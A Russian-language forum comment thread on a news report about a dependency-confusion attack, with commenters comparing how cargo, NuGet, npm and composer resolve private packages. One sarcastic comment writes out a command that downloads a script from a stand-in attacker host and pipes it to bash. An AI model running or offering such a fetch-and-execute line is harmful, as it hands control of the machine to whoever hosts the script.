Ответить | Правка | Наверх | Cообщить модератору

194. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (194), 13-Фев-21, 00:49

Недавно я с удивлением заметил, какому количеству полезных вещей мы обязаны растительному миру нашей планеты.
IT-корпорации должны быть разрушены.

Ответить | Правка | Наверх | Cообщить модератору

4. Скрыто модератором –6 +/–

Сообщение от DildoZilla (?), 10-Фев-21, 11:14

Всё ещё проще -- надо было просто придумать гит и гитхабы. Смузисосы-линуксоиды, падкие на всякие цацки, а особенно на всякие там пакетирования, сами всё туда сольют. Ловись гитхабер большой и маленький.

Ответить | Правка | Наверх | Cообщить модератору

5. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Аноним (5), 10-Фев-21, 11:15

Дыра. Раста проблема тоже касается?

Ответить | Правка | Наверх | Cообщить модератору

18. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Лудакрис (?), 10-Фев-21, 11:36

а есть упоминание? читайте внимательнее, глупые аноны, это нелегко, знаю, но пытайтесь!

Ответить | Правка | Наверх | Cообщить модератору

21. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (21), 10-Фев-21, 11:41

Нет упоминанй, потому что Растом и его пакетником в не пользуются?

Ответить | Правка | Наверх | Cообщить модератору

22. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (5), 10-Фев-21, 11:42

Не хами!

Ответить | Правка | К родителю #18 | Наверх | Cообщить модератору

49. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (48), 10-Фев-21, 13:12

Я не тот анон, но там написано "в других системах, таких как..." и дальше приводится пример (именно пример, а не весь список!!!) систем "таких как". То есть из текста следует, что проблеме может быть подвержен любой менеджер зависимостей даже если он не перечислен в данной статье.

Ответить | Правка | К родителю #18 | Наверх | Cообщить модератору

113. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от An O Nim (?), 10-Фев-21, 16:13

Проблема ещё шире: переменчивость артефактов во внешних сетях.
Человеки делают неустойчивые системы. За первую половину молодости ооочень много кому не случается встретить, но эффект есть и существует - системы неустойчивы, могут исчезать или нужные подменяться на ненужные.

Ответить | Правка | Наверх | Cообщить модератору

195. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (194), 13-Фев-21, 00:51

Да. В интернете может что угодно в любой момент исчезнуть навсегда, не оставив следов, и не достучишься.
Страшное чувство.

Ответить | Правка | Наверх | Cообщить модератору

25. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Ананимус (?), 10-Фев-21, 11:53

Нет, там нужно указывать registry, откуда качать пакет.

Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

30. "Атака на зависимости позволила выполнить код на серверах Pay..." +5 +/–

Сообщение от cheater (?), 10-Фев-21, 12:03

Не раста, а cargo.
Именно эта не касается, тк. зависимости качаются по дефолту с crates.io, если явно не сказано иное.
Проблемам компрометации пакетов cargo подвержен так же как и все остальные, например если указать в конфиге Cargo.toml version ">=0.2" то никто не мешает скомпрометировать v0.3 в репозитории

Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

32. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от Аноним (5), 10-Фев-21, 12:09

Да, это проблема и не только cargo, но и всего раста, потому что все используют cargo. В общем, недостатки - это продолжение достоинств. Хотелось бы, чтобы появилась полноценная возможность опираться в пакетах (крейтах) только на то, что идет с самим дистрибутивом линукса, не компрометируя себя связями с единственным иностранным внешним репозиторием. Обычно всем пофиг на это, но есть области программирования, где совсем не пофиг. Короче, исходная тема новости лишний говорит, что бесплатного сыра [в мышеловке] не бывает.

Ответить | Правка | Наверх | Cообщить модератору

37. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Siborgium (ok), 10-Фев-21, 12:28

cargo умеет работать с git-репозиториями и локальными пакетами.

Ответить | Правка | Наверх | Cообщить модератору

39. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Dzen Python (ok), 10-Фев-21, 12:53

И?
На локальные пакеты он сможет сослаться в уже скомпилированном состоянии?
А на локальные системные либы при сборке?
Или для этого все равно нужно тянуть обертки с крейтс?
Просто интересно

Ответить | Правка | Наверх | Cообщить модератору

68. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (68), 10-Фев-21, 13:38

В уже скомпилированном состоянии он будет содержать крейты в себе.
Раст все растовые (в т.ч. удаленные крейты) зависимости вкомпиливает статически. В нем нет динамической линковки, поскольку нет стабильно ABI https://github.com/rust-lang/rfcs/issues/600 . Динамическая линковка доступна только при FFI (с либами, написанными на других языках)
Лично мне это нравится благодаря достигаемой скорости исполнения при использовании LTO. Понимаю тех, у кого места на диске мало. Или кому нужно множество связанных раст-процессов запускать.

Ответить | Правка | Наверх | Cообщить модератору

79. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Аноним (8), 10-Фев-21, 13:58

> В нем нет динамической линковки, поскольку нет стабильно ABI
Карл, а что делали растаманы 15 лет?!

Ответить | Правка | Наверх | Cообщить модератору

90. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Ordu (ok), 10-Фев-21, 14:30

Ничего не делали, я уже говорил в соседнем топике. Раскручивали язык, чтобы взять приз "most loved language" на stackoverflow.

Ответить | Правка | Наверх | Cообщить модератору

186. "Атака на зависимости позволила выполнить код на серверах Pay..." –3 +/–

Сообщение от Аноним (-), 12-Фев-21, 03:43

> доступна только при FFI (с либами, написанными на других языках)
Да у них и сам яп бесполезен без сишно-сиплюсплюсного LLVM'а. Это не мешаер растаманам быковать на си и плюсы, в таких мелочах "системные" вебмакаки не парятся :)

Ответить | Правка | К родителю #68 | Наверх | Cообщить модератору

78. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от cheater (?), 10-Фев-21, 13:57

> На локальные пакеты он сможет сослаться в уже скомпилированном состоянии?
Вопрос некорректен, тк скомпилированный бинарник на расте - это обычный ELF или PE32 или какой там бинарный формат на целевой платформе. Он может динамически линковаться с системными .so файлами, а также с растовыми .so (динамическими библиотеками с растовым ABI а не C ABI). См. https://users.rust-lang.org/t/what-is-the-difference-between...

> А на локальные системные либы при сборке?
Да, см. https://doc.rust-lang.org/reference/items/external-blocks.ht...

Ответить | Правка | К родителю #39 | Наверх | Cообщить модератору

41. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от Аноним (5), 10-Фев-21, 12:54

Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать только то, что идет с дистрибутивом, вообще, не залезая в интернет (например, если это запрещено или даже, если нет интернета)?

Ответить | Правка | К родителю #37 | Наверх | Cообщить модератору

70. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (68), 10-Фев-21, 13:43

Позволен git, путь, и crates.io. Можно создать свой https://github.com/rust-lang/crates.io если вы совсем большие, и указать в проекте адрес на него.

Ответить | Правка | Наверх | Cообщить модератору

72. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (68), 10-Фев-21, 13:45

Называется это (crates.io) registry https://doc.rust-lang.org/cargo/reference/registries.html

Ответить | Правка | Наверх | Cообщить модератору

119. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (119), 10-Фев-21, 17:14

написал вместо того что бы сказать нет.

Ответить | Правка | К родителю #70 | Наверх | Cообщить модератору

128. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (-), 10-Фев-21, 17:56

Это unsafe и не позволяет делать запланированное устаревание

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

134. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от cheater (?), 10-Фев-21, 18:25

> Мне интереснее, а можно ли при сборке приложения с помощью cargo использовать
> только то, что идет с дистрибутивом, вообще, не залезая в интернет
> (например, если это запрещено или даже, если нет интернета)?
Вопрос не очень понятен (99.999... процентов пакетов в расте имеют внешние зависимости от других пакетов, эти зависимости же надо откуда-то брать), но возможно вам нужно одно из следующего:
(1) команда "cargo vendor" (только с версии 1.37) выкачивает рекурсивно все зависимости пакета и включает их в пакет, что делает его пригодным для распространения оффлайн
(2) можно поднять локальное зеркало crates.io, уже сказали, или скомандовать cargo брать конкретные отдельные зависимости не из инета а из локальной директории
(3) можно запускать cargo с ключом --offline, запретив ему лезть в сеть
(4) cargo всегда только один раз выкачивает и собирает зависимости, далее инет ему не нужен пока не произведён бамп версии где-нибудь в дереве зависимостей.

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

146. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (5), 10-Фев-21, 19:53

Даже если сделать "cargo vendor", то изначально все равно крейты попадут в локальное хранилище (подкаталог проекта) из ненадежного сайта crates.io, т.е. такие крейты не будут вызывать доверия. Я же предпочел бы, чтобы крейты брались из дистрибутива линукса. Точнее, мне самому это не так важно, а важно то, что такое требование могут выставить потенциальные заказчики - к гадалке не ходи!

Ответить | Правка | Наверх | Cообщить модератору

149. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (149), 10-Фев-21, 20:29

Да, уважающие себя дистрибутивы, вроде Дебиана и Федоры так и делают, поэтому в них и полно всяких devel-пакетов с крейтами Rust и модулями Go
Вот так, например, в дебиане выглядит утилита на расте, исходники которой одновременно идут в пакет-крейт
https://packages.debian.org/source/buster/rust-exa

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

34. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (68), 10-Фев-21, 12:22

Если у тебя конечно есть доступ к репозиторию.

Ответить | Правка | К родителю #30 | Наверх | Cообщить модератору

35. "Атака на зависимости позволила выполнить код на серверах Pay..." –4 +/–

Сообщение от Аноним (68), 10-Фев-21, 12:24

А при чем тут Раст? Он же не скриптовый вроде

Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

59. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от pda (?), 10-Фев-21, 13:26

Проблема не в языках, а в пакетных менеджерах.

Ответить | Правка | Наверх | Cообщить модератору

156. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (156), 10-Фев-21, 23:38

а там написано, но это ж читать букавки надо, чему многи не обучены )))

Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

199. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (199), 14-Фев-21, 23:56

в русте зависимости ставятся через wget https://sploit.onion/l33t.sh | bash. до менеджера пакета форк-бомба просто не дойдёт - сработает раньше. безопасность же.

Ответить | Правка | К родителю #5 | Наверх | Cообщить модератору

7. "Атака на зависимости позволила выполнить код на серверах Pay..." +13 +/–

Сообщение от тоже Аноним (ok), 10-Фев-21, 11:17

Рекомендации по защите не работают.
Работает только система, которая безопасна из коробки и требует чтения рекомендаций для того, чтобы сделать ее небезопасной.

Ответить | Правка | Наверх | Cообщить модератору

11. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Lex (??), 10-Фев-21, 11:20

> Проблема в том, что пакетные менеджеры, такие как npm .. пытаются загрузить внутренние зависимости компаний в том числе и из публичных репозиториев
Они что, объявляли их просто как пакеты, а не ссылкой на каталог/файл типа file:// или ссылки на конкретную гитОвую репу типа git://github.com/<user>/<project>.git#<branch> !?
-Если так, то руководителей отделов разработки тех контор надо гнать сс.ными тряпками, поскольку в противном случае пакет вообще почти откуда угодно может стягиваться даже просто ввиду случайного совпадения имен

Ответить | Правка | Наверх | Cообщить модератору

40. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Dzen Python (ok), 10-Фев-21, 12:54

Ты что! Там жЫ уважаемые девляпсы и сениоры! Они такой код пишуть - аж закачаешься (от эмоций!)!

Ответить | Правка | Наверх | Cообщить модератору

54. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от AHOHUM (?), 10-Фев-21, 13:20

Не пишуть! А рисуютЪ!!! :)) Баги фиксят в продукте исправлением пары строк в конфигурации запуска.
Как стройбат: такие звери, что даже автомат не выдают.

Ответить | Правка | Наверх | Cообщить модератору

118. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от YetAnotherOnanym (ok), 10-Фев-21, 17:07

Скорее уволят начотдела, у которого програмеры пишут недостаточно быстро.

Ответить | Правка | К родителю #11 | Наверх | Cообщить модератору

14. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от ryoken (ok), 10-Фев-21, 11:32

Так им всем и надо.

Ответить | Правка | Наверх | Cообщить модератору

23. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (-), 10-Фев-21, 11:46

> а также внутренние зависимости, которые не распространяются публично и загружаются из собственных репозиториев.
Руст или вообще какой-нибудь петон. Мы то знаем.

Ответить | Правка | Наверх | Cообщить модератору

24. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (24), 10-Фев-21, 11:51

А как они узнали их имена ?

Ответить | Правка | Наверх | Cообщить модератору

26. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от Аноним (24), 10-Фев-21, 11:55

> как исследователь случайно обратил внимание, что в публикуемом на GitHub общедоступном коде многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей, применяемых во внутренних проектах или при реализации расширенной функциональности.
А если кто то забудет там пароли ?

Ответить | Правка | Наверх | Cообщить модератору

197. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (-), 14-Фев-21, 05:43

На этот случай есть безопасТное восстановление паролей через ваши безопасТные мобильники. Номера на которых сейчас не подделывает только ленивый.

Ответить | Правка | Наверх | Cообщить модератору

29. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от kissmyass (?), 10-Фев-21, 12:02

ну например если дотнет то прям в файле проекта
<PackageReference Include="Fck.U.MS" Vesion="666-go-to-hell-beta2" />

Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

85. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (24), 10-Фев-21, 14:20

В смысле ? Разве оно первым делом не локальный файл ищет ?
Весь смысл подобных штук,  проксей, кешей и т.д. в начале ЭТО ищут локально и если нет то тогда уже  в ...

Ответить | Правка | Наверх | Cообщить модератору

100. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от kissmyass (?), 10-Фев-21, 15:03

> В смысле ? Разве оно первым делом не локальный файл ищет ?
> Весь смысл подобных штук,  проксей, кешей и т.д. в начале ЭТО
> ищут локально и если нет то тогда уже  в ...
Локально это где? Nuget пакет не поставляется с самим проектом.

Ответить | Правка | Наверх | Cообщить модератору

31. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от kissmyass (?), 10-Фев-21, 12:04

а если доступа к коду нет, но есть к бинарникам, то обычно одна ассембли - один nuget пакет

Ответить | Правка | К родителю #24 | Наверх | Cообщить модератору

27. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от bsdun (?), 10-Фев-21, 11:58

Использовали бы FreeBSD и её дерево портов, проблем бы не было!

Ответить | Правка | Наверх | Cообщить модератору

28. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от kissmyass (?), 10-Фев-21, 11:58

Я тоже немного офигел когда приватные пакеты искались на nuget.org
Самый очевидный но не самый простой способ на мой взгляд это юзать что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из списка источников.

Ответить | Правка | Наверх | Cообщить модератору

86. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 14:21

> Я тоже немного офигел когда приватные пакеты искались на nuget.org
> Самый очевидный но не самый простой способ на мой взгляд это юзать
> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
> списка источников.
а Nexus не накачает с nuget.org более новых версий, чем локальные??

Ответить | Правка | Наверх | Cообщить модератору

103. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от kissmyass (?), 10-Фев-21, 15:09

>> Я тоже немного офигел когда приватные пакеты искались на nuget.org
>> Самый очевидный но не самый простой способ на мой взгляд это юзать
>> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
>> списка источников.
> а Nexus не накачает с nuget.org более новых версий, чем локальные??
Насколько я знаю, там надо апрувить пакеты на кеширование.
Если пакета нет, то пофик какой версии его нет )))
Он заберется из приватной репы.

Ответить | Правка | Наверх | Cообщить модератору

109. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 15:55

>>> Я тоже немного офигел когда приватные пакеты искались на nuget.org
>>> Самый очевидный но не самый простой способ на мой взгляд это юзать
>>> что-то типа Sonatype Nexus и проксировать nuget.org... полностью убрав nuget.org из
>>> списка источников.
>> а Nexus не накачает с nuget.org более новых версий, чем локальные??
> Насколько я знаю, там надо апрувить пакеты на кеширование.
> Если пакета нет, то пофик какой версии его нет )))
> Он заберется из приватной репы.
возможно от настроек зависит, наш выкачивает автоматом

Ответить | Правка | Наверх | Cообщить модератору

33. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Fracta1L (ok), 10-Фев-21, 12:10

Зависимости эт плохо пнятненько

Ответить | Правка | Наверх | Cообщить модератору

148. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Сишные дырени (?), 10-Фев-21, 20:09

Сильвупле

Ответить | Правка | Наверх | Cообщить модератору

36. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от qweqwe (?), 10-Фев-21, 12:27

composer у php не подвержен такой бяке?

Ответить | Правка | Наверх | Cообщить модератору

88. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (88), 10-Фев-21, 14:24

Если сам не наделаешь

Ответить | Правка | Наверх | Cообщить модератору

42. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от Аноним (42), 10-Фев-21, 12:54

>многие компании не очищают из manifest-файлов упоминание дополнительных зависимостей
Защита методом "безопасность через неясность" - говно.
В нормальных компаниях просто с публичных репозиториев ничего не ставится. Ставится со своего, все чужие пакеты в котором проверены службой безопасности.

Ответить | Правка | Наверх | Cообщить модератору

43. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от Аноним (-), 10-Фев-21, 12:57

Это где так ?

Ответить | Правка | Наверх | Cообщить модератору

151. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Атон (?), 10-Фев-21, 21:12

*банк

Ответить | Правка | Наверх | Cообщить модератору

162. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 11-Фев-21, 02:17

> *банк
огласите название, плз
банк резервного фонда сша имени масонов?
их СБ памятник в платине поставить надо, если они акцептуют зависимости не по типу некст-некст-некст-инстал

Ответить | Правка | Наверх | Cообщить модератору

174. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Атон (?), 11-Фев-21, 14:41

>> *банк
> огласите название, плз
крупный банк.  сбер, втб, райф, другие
> их СБ памятник в платине поставить надо, если они акцептуют зависимости не
> по типу некст-некст-некст-инстал
никто не знает как, но времени это занимает много.

Ответить | Правка | Наверх | Cообщить модератору

44. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Dzen Python (ok), 10-Фев-21, 12:58

В нормальных компаниях к тому моменту, когда они выкладывают код/имеют зрелый продукт на руках уже есть набор нормальных опенсорцных .so'шников ИЛИ свой набор отлаженных, оптимизированных homebrew-либ. Ни или в сама крайнем случае - нормальная купленная библитека на внутреннем сервере. А не набор васянских лефтпадов из NPM

Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

46. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (46), 10-Фев-21, 13:05

Если уж этим на "проверены службой безопасности" не хватает, то где тогда "нормальные" водятся?

Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

87. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 14:23

> Ставится со своего, все чужие пакеты в котором проверены службой безопасности.
втф? ловите эльфа/наркомана!!

Ответить | Правка | К родителю #42 | Наверх | Cообщить модератору

106. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от www2 (??), 10-Фев-21, 15:33

Пользователи Windows, скачавшие её с торрентов у Васяна и потом качающие на неё софт с кряками по первой ссылке из поиска - вот настоящие эльфы и наркоманы.
Самые серьёзные люди используют списки контроля доступа, системны мандатного доступа и сертифицированные операционные системы, поставить на которые обновлённый пакет - значит лишиться сертификации.
Новость тут в том, что даже качая из официального источника, проверяя хэш-суммы и цифровые подписи скачанного, можно всё равно нарваться на подлог из-за неправильно выставленных (или не выставленных вовсе) приоритетов источников.

Ответить | Правка | Наверх | Cообщить модератору

132. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 18:15

> сертифицированные операционные системы, поставить на которые обновлённый пакет - значит
> лишиться сертификации.
покажите мне сертефицированную ОСь, где сертефицированные обновления безопасности появляются быстрее, чем эксплойты у скрипткидисов

Ответить | Правка | Наверх | Cообщить модератору

45. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Gogi (??), 10-Фев-21, 13:02

Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате и надеетесь, что хакеры это пропустят?? :)
Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им не место в продакшене! Для самопальных перделок - ради бога, но где идёт коммерческое ПО - сразу вон поганой метлой!

Ответить | Правка | Наверх | Cообщить модератору

47. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (-), 10-Фев-21, 13:06

Может наоборот ? Там где комерческое - то пофиг, барин то платит.

Ответить | Правка | Наверх | Cообщить модератору

114. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от An O Nim (?), 10-Фев-21, 16:18

Считается, что так тоже не катит. Т.к. в полезного в коммерческом вырастет тот, кто заботится. Двуличка с хорошим результатом - редкость.
Кому пофиг - халтурщики. Они уходят на сторону или не растут.

Ответить | Правка | Наверх | Cообщить модератору

89. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от JL2001 (ok), 10-Фев-21, 14:28

> Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть
> априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате
> и надеетесь, что хакеры это пропустят?? :)
> Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им
> не место в продакшене! Для самопальных перделок - ради бога, но
> где идёт коммерческое ПО - сразу вон поганой метлой!
а линуксы в продакшене ты как обновляешь, братюнь?
зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого самим автором программы пакета?

Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

115. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от An O Nim (?), 10-Фев-21, 16:24

Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. Репы RHEL как раз внутренние репо самого RHEL.
А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как в новости. И некоторые и так тоже делают... Всякие там PPA репо и прочие с хабров и т.п. "авторитетных" площадок.
Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.

Ответить | Правка | Наверх | Cообщить модератору

133. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 10-Фев-21, 18:24

> Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс.
> Репы RHEL как раз внутренние репо самого RHEL.
> А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как
> в новости. И некоторые и так тоже делают... Всякие там PPA
> репо и прочие с хабров и т.п. "авторитетных" площадок.
> Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.
я купил суппорт редхата, подключил их репы, автор оченьНужнойПрограммы обсфурцировал трояна в обновлении (крызыс, все выживают, как могут), оно попало в редхатовские репы, я обновился, меня хакнули
какую ответственность несёт редхат?

Ответить | Правка | Наверх | Cообщить модератору

152. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Аноним (152), 10-Фев-21, 22:25

В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотрит и правит перед компиляцией если нужно. Хотя я почти уверен, что у красной шляпы соглашение написано не хуже чем у MS.

Ответить | Правка | Наверх | Cообщить модератору

163. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от JL2001 (ok), 11-Фев-21, 02:20

> В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в
> код смотрит и правит перед компиляцией если нужно. Хотя я почти
> уверен, что у красной шляпы соглашение написано не хуже чем у
> MS.
это то понятненько, что смотрит (в теории)
но вот сейчас у меня вопрос - какая ответственность прописана у редхата/оракла/итд если их мантейнер не смог рассмотреть если пришедший пакет повлёк денежный, репутационный, моральный ущерб

Ответить | Правка | Наверх | Cообщить модератору

178. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от fske (?), 11-Фев-21, 18:44

>какая ответственность прописана у редхата/оракла/итд
очень простая - ни одна айти контора не будет нести ответственность за твой бизнес, который может пострадать из-за использования или неиспользования их продуктов.

Ответить | Правка | Наверх | Cообщить модератору

124. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от пох. (?), 10-Фев-21, 17:50

> зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого
> самим автором программы пакета?
ну раздавал же редхат непонятно кем и как модифицированный (и, что характерно - подписанный) ceph - и ничего, никто не пострадал.
Причем, кажется, так и не выяснилось, что это было и что случилось у тех кто успел савтоапгрейдиться.
Ну да, редхат врал что я не я, корова не моя, и вообще это другой, неправильный редхат сделал.
А разбор инцидента, по-моему, так и зажал.

Ответить | Правка | К родителю #89 | Наверх | Cообщить модератору

139. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от Аноним (139), 10-Фев-21, 19:01

Поддерживаю. Собственно поэтому приходится у себя в гит репозитории хранить все эти миллиарды пакетов. Неудобно, да. Но куда деваться?

Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

171. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от anonymous (??), 11-Фев-21, 11:17

Против выступать легко. А что в замен предложите?

Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

50. "Атака на зависимости позволила выполнить код на серверах Pay..." +2 +/–

Сообщение от Андрей (??), 10-Фев-21, 13:13

Так я и не понял, это баг или фича.

Ответить | Правка | Наверх | Cообщить модератору

60. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (58), 10-Фев-21, 13:27

Это фича. А сабж это атака через фичу. Почти что социнженерия.

Ответить | Правка | Наверх | Cообщить модератору

62. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (62), 10-Фев-21, 13:28

Это квантовое программирование, багофича Шредингера. Будущее наступило.

Ответить | Правка | К родителю #50 | Наверх | Cообщить модератору

52. "Атака на зависимости позволила выполнить код на серверах Pay..." –2 +/–

Сообщение от Аноним (58), 10-Фев-21, 13:15

И как раст от такого спасет? А вы говорите безопасный язык. А раст такая же дырень со своим крейтсом.

Ответить | Правка | Наверх | Cообщить модератору

63. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от pda (?), 10-Фев-21, 13:30

crate не подвержен этой проблеме.

Ответить | Правка | Наверх | Cообщить модератору

73. Скрыто модератором –4 +/–

Сообщение от Платные Эксплоиты и Шифровальщики (?), 10-Фев-21, 13:47

Исследования по crate в закрытом доступе, оплата на Patreon.

Ответить | Правка | Наверх | Cообщить модератору

172. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от anonymous (??), 11-Фев-21, 11:19

Во-первых в rust этой уязвимости нет. Во-вторых rust -- это про safety, а не про security.

Ответить | Правка | К родителю #52 | Наверх | Cообщить модератору

55. "Атака на зависимости позволила выполнить код на серверах Pay..." –1 +/–

Сообщение от Аноним (55), 10-Фев-21, 13:21

Не глупо ли это само по себе - выкладывать на публику проекты, зависящие от неопубликованных библиотек.

Ответить | Правка | Наверх | Cообщить модератору

91. "Атака на зависимости позволила выполнить код на серверах Pay..." +3 +/–

Сообщение от JL2001 (ok), 10-Фев-21, 14:32

> Не глупо ли это само по себе - выкладывать на публику проекты,
> зависящие от неопубликованных библиотек.
они и не выкладывают
в манифесте внутри опубликованного "бинарника" осталась инфа о том, из чего он собран, включая внутренние пакеты

Ответить | Правка | Наверх | Cообщить модератору

61. "Атака на зависимости позволила выполнить код на серверах Pay..." +1 +/–

Сообщение от Аноним (61), 10-Фев-21, 13:27

запускайте npm/pip/gems install на машинах разработчиков без изоляции, он вам и shell установит пользователям для кражи ssh-keys агента и вместе с вашими криптокошельками и рабочими местами.

Ответить | Правка | Наверх | Cообщить модератору

125. "Атака на зависимости позволила выполнить код на серверах Pay..." +/–

Сообщение от пох. (?), 10-Фев-21, 17:51

> запускайте npm/pip/gems install на машинах разработчиков без изоляции
а иначе нихрена не работает и не собирается. И что вот делааааать будииим?

